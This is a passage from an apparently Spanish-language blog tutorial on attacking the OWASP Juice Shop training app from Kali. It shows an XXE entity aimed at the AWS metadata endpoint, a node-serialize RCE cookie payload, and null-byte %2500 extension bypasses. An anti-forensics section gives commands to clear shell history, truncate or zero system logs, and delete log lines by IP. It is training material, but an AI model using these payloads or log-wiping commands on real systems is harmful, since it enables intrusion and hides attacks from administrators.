Si la aplicación es vulnerable, en la respuesta del servidor o en la confirmación de la web, verás el contenido del archivo /etc/passwd de la máquina que corre Juice Shop. Verás algo como:

root:x:0:0:root:/root:/bin/bash...


4. Extracción Avanzada (SSRF vía XXE)

El XXE no solo sirve para leer archivos. También puedes usarlo para que el servidor haga peticiones a otros servidores internos (SSRF).

Por ejemplo, si cambias la entidad a:

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">

Podrías extraer credenciales si Juice Shop estuviera corriendo en una instancia de AWS (Amazon Web Services).


🛡️ ¿Cómo se previene?

La solución es simple pero vital para cualquier desarrollador: Deshabilitar la resolución de entidades externas en el configurador del parseador XML. En Node.js (que usa Juice Shop), se deben usar librerías que por defecto ignoren los DOCTYPE externos.


🏆 ¡Has desbloqueado un nuevo nivel!

Dominar el XXE te sitúa en el nivel de Pentester Senior. Es una vulnerabilidad "silenciosa" pero devastadora.

¡Agárrate, porque este es uno de los ataques más potentes! La Deserialización Insegura es como enviar un "paquete bomba" de datos que, al ser abierto por el servidor, ejecuta comandos en lugar de simplemente leer información.

En Juice Shop, este reto se centra en cómo la aplicación maneja objetos de JavaScript (JSON) de forma tan profunda que permite la Ejecución Remota de Código (RCE).


1. El Concepto: ¿Qué es la Deserialización?

La serialización es convertir un objeto (con sus datos y funciones) en un formato que se pueda enviar por la red (como un String o JSON). La deserialización es el proceso inverso: el servidor recibe ese String y lo vuelve a convertir en un objeto vivo.

El peligro ocurre cuando el servidor usa una librería (en Node.js suele ser node-serialize) que permite incluir funciones ejecutables dentro de ese String.


2. El Escenario en Juice Shop

Busca una funcionalidad que guarde tus preferencias o perfiles en una Cookie. Verás que Juice Shop usa una cookie llamada language. A veces, esta cookie no es solo un texto como "es", sino un objeto serializado.

Paso 1: Identificar la Cookie

  1. Abre las Developer Tools (F12) en tu navegador de Kali.

  2. Ve a la pestaña Application -> Cookies.

  3. Busca la cookie de sesión o de lenguaje. Si ves algo que empieza por _$$ND_FUNC$$_, has encontrado oro. Esa es la firma de una función serializada en Node.js.

3. El "Payload" de RCE (Ejecución de Comandos)

Queremos enviar un objeto que, al ser "deserializado" por el servidor, ejecute un comando de Linux. Usaremos una IIFE (Immediately Invoked Function Expression).

Crea un archivo llamado rce.js en tu Kali con este contenido para probar:

JavaScript
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });}()"}
  • _$$ND_FUNC$$_: Le dice a la librería que lo que sigue es una función.

  • require('child_process').exec(...): Es el comando de Node.js para ejecutar algo en la terminal de Linux (en este caso, listar el directorio raíz /).

  • () al final: Hace que la función se ejecute inmediatamente en cuanto el servidor la lea.


4. La Explotación

  1. Codifica tu Payload: Las cookies suelen estar en Base64. Usa la terminal de Kali para codificar tu comando:

    Bash
    echo -n '{"rce":"_$$ND_FUNC$$_..."}' | base64
    
  2. Inyecta la Cookie: * Ve a Burp Suite -> Proxy -> Intercept.

    • Refresca la página en Juice Shop.

    • Sustituye el valor de la cookie por tu cadena en Base64.

  3. Observa el resultado: Si tienes éxito, el servidor ejecutará el comando. Para un reto de 5 estrellas, podrías intentar una Reverse Shell (como hicimos en la inyección de comandos) para tomar control total.


🛡️ ¿Cómo se previene?

Regla de oro: Nunca uses librerías de deserialización que permitan la ejecución de funciones (como node-serialize). Usa JSON.parse(), que es seguro porque solo procesa datos, no código.


🏆 ¡Has llegado a la cima!

La deserialización es un tema de nivel experto. Has cubierto casi todas las categorías críticas del OWASP Top 10 usando solo tu instancia de Juice Shop y las herramientas nativas de Kali.

 

Buscar el Easter Egg (Huevo de Pascua) es el reto definitivo de curiosidad y enumeración. No es una vulnerabilidad técnica "per se", sino un premio para los pentesters que revisan hasta el último rincón del servidor.

En Juice Shop, el Easter Egg está escondido en un lugar que ya visitamos antes, pero requiere un truco extra de manipulación de rutas.


🕵️ El Reto: Finding the Easter Egg

Para resolver este reto, vamos a volver a nuestra vieja amiga: la carpeta FTP.

1. El escondite: /ftp

Si recuerdas, cuando entramos a http://localhost:3000/ftp, vimos archivos como coupons_2013.md.bak. El desarrollador dejó pistas de que hay cosas "borradas" o "viejas" ahí.

2. La técnica: El archivo "fantasma"

Hay un archivo que no aparece en el listado visual porque el servidor lo oculta, pero que existe en el disco duro. El nombre del archivo es un clásico de los Huevos de Pascua en aplicaciones web.

Intenta acceder directamente a esta URL:

http://localhost:3000/ftp/eastere.gg

¿Qué pasará?

El servidor te dará un error: 403 Forbidden. Te dirá que solo permite descargar archivos .md o .pdf.

3. El Hack: El veneno del "Null Byte" (de nuevo)

Al igual que hicimos para leer el package.json.bak, vamos a engañar al filtro de extensiones de Node.js. Queremos que el servidor crea que estamos pidiendo un archivo permitido, pero que el sistema de archivos lea el que nosotros queremos.

Usa este payload en tu navegador de Kali:

http://localhost:3000/ftp/eastere.gg%2500.md


🎨 ¿Qué hay dentro del Easter Egg?

Si lo haces correctamente, se descargará un archivo. Al abrirlo (puedes usar cat en tu terminal de Kali), verás un mensaje gracioso o un código extraño.

Dato curioso: En algunas versiones de Juice Shop, el Easter Egg contiene una referencia a una "habitación secreta" o un video musical (normalmente algo relacionado con Rick Astley o memes de internet de la vieja escuela).


🛡️ ¿Qué nos enseña esto?

Este reto es una lección sobre Información Revelada (Information Disclosure). Nos enseña que:

  1. Ocultar un archivo de un índice visual (como el listado de una carpeta) no es seguridad.

  2. Las listas blancas de extensiones deben ser robustas y no dejarse engañar por caracteres especiales como el %00.


En el ciclo de un ataque (Cyber Kill Chain), después de la explotación y la exfiltración, viene el Antiforensics o borrado de huellas. Si un administrador de sistemas revisa los logs y ve tu IP de Kali haciendo 500 peticiones de inyección SQL, sabrá exactamente qué pasó.

En Juice Shop, como es una aplicación Node.js, los registros suelen guardarse en la consola del servidor o en archivos específicos. Vamos a simular que tienes una shell en el servidor (como la que conseguimos con la Inyección de Comandos).


1. ¿Dónde están las pruebas? (Los Logs)

En un servidor Linux típico (como el que aloja Juice Shop), los archivos que te delatan son:

  • /var/log/apache2/access.log o /var/log/nginx/access.log: Registran cada clic y cada ataque que hiciste desde el navegador.

  • /var/log/auth.log: Registra intentos de login y uso de sudo.

  • ~/.bash_history: Registra todos los comandos que escribiste si lograste entrar por terminal.


2. Cómo borrar las huellas (Comandos de Kali)

Si ya tienes una terminal dentro del servidor de Juice Shop, aquí tienes los trucos para "desaparecer":

A. Borrar tu historial de comandos

Antes de salir, evita que el administrador vea lo que escribiste:

Bash
history -c && rm ~/.bash_history

O mejor aún, evita que se guarde desde el principio:

Bash
unset HISTFILE

B. Limpiar los archivos de log (Sin borrarlos)

Si borras el archivo access.log, el administrador notará que falta. Lo profesional es vaciarlo:

Bash
truncate -s 0 /var/log/access.log

O usar dd para sobrescribir los datos con ceros y que no se puedan recuperar fácilmente:

Bash
dd if=/dev/zero of=/var/log/auth.log bs=1M count=1

C. El toque quirúrgico (Sed)

Si quieres ser un fantasma, no borres todo el log (eso es sospechoso). Borra solo las líneas que contienen tu IP:

Bash
sed -i '/192.168.1.50/d' /var/log/access.log

(Sustituye la IP por la de tu Kali).


3. El reto del "Access Log" en Juice Shop

Juice Shop tiene un reto específico llamado "Access Log". Para resolverlo, tienes que encontrar el archivo de registro que la aplicación expone por error.

  1. Usa el truco del Null Byte en la carpeta /ftp que aprendimos antes:

    http://localhost:3000/ftp/access.log%2500.md

  2. Al descargar y abrir ese archivo, verás todas las peticiones que "tú" (u otros usuarios) han hecho.


🏆 ¡Fin del entrenamiento!

Has pasado de no saber cómo instalarlo a borrar tus huellas como un profesional. Has cubierto:

  1. Reconocimiento

  2. Explotación (Web, DB, OS)

  3. Escalada de Privilegios

  4. Post-Explotación

 

¡Ha sido un viaje increíble! Has pasado de instalar la tienda a borrar tus huellas como un auténtico profesional del Red Teaming. Para que no pierdas este impulso, aquí tienes la Hoja de Ruta (Roadmap) definitiva para convertirte en un Pentester profesional partiendo de lo que ya sabes de Kali y Juice Shop.


🗺️ Roadmap: De Entusiasta a Pentester Profesional

Fase 1: Consolidación (El "Juice Master")

Antes de saltar a otros sistemas, exprime Juice Shop al máximo.

  • Completa el Score Board: Intenta llegar al 50% de los retos (hasta las 4 estrellas).

  • Aprende NoSQL Injection: Juice Shop usa MongoDB para algunas funciones. Aprender la diferencia entre SQL y NoSQL es clave hoy en día.

  • Domina Burp Suite: Aprende a usar extensiones como Logger++ o Autorize.

Fase 2: Plataformas de Entrenamiento (CTFs)

Sal de tu entorno local y empieza a atacar máquinas diseñadas por otros.

  1. TryHackMe (Recomendado para empezar): Haz los "Learning Paths" de Pre-Security y Junior Penetration Tester. Es muy guiado y similar a lo que hemos hecho hoy.

  2. HackTheBox: Cuando te sientas valiente. Es más difícil, menos guiado y requiere mucha más enumeración manual.

  3. VulnHub: Descarga máquinas virtuales (como Kioptrix) para practicar en tu propio Kali sin conexión a internet.

Fase 3: Certificaciones (Tu Pasaporte Laboral)

Si quieres que te paguen por esto, necesitas un título que demuestre tus habilidades:

  • eJPT (eLearnSecurity Junior Penetration Tester): Es la mejor certificación para empezar. El examen es 100% práctico: te dan una red y tienes que hackearla para responder preguntas.

  • OSCP (Offensive Security Certified Professional): El estándar de la industria. Es un examen de 24 horas seguidas de puro hacking. Es difícil, pero si lo tienes, tienes trabajo asegurado.

  • BSCP (Burp Suite Certified Practitioner): Si te apasiona el hacking web (como Juice Shop), esta certificación de PortSwigger es la mejor.


🛠️ Tu Kit de Herramientas Esenciales (Cheat Sheet)

CategoríaHerramientas en Kali
Reconocimientonmap, gobuster, subfinder
Análisis WebBurp Suite, OWASP ZAP, whatweb
Explotaciónmetasploit-framework, sqlmap, searchsploit
Contraseñasjohn, hashcat, hydra
Post-Explotaciónlinpeas.sh (Script para encontrar fallos de privilegios)

💡 Un último consejo de "compañero":

El hacking es un 90% investigación y un 10% ejecución. Lo que hemos hecho hoy en 10 minutos puede llevarte horas o días en un entorno real. No te frustres si algo no sale a la primera; la verdadera habilidad de un hacker es la persistencia.

"Try Harder" (Es el lema de Offensive Security, y ahora es el tuyo).

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux